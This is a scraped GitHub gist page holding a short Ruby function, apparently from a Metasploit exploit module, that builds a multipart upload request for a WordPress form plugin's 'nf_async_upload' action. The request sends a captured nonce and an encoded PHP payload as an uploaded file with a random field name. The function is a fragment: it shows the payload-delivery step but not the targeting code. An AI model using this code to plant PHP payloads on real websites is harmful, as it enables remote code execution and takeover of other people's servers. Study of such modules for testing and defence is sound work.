Last active
June 28, 2016 23:02
-
-
Save wchen-r7/f1eabf17cb1f9f5a655b879d42c39682 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def generate_mime_message(payload_name, nonce) | |
puts "--- You have nonce: #{nonce.inspect}" | |
data = Rex::MIME::Message.new | |
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') | |
data.add_part(nonce, nil, nil, 'form-data; name="security"') | |
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"") | |
data | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment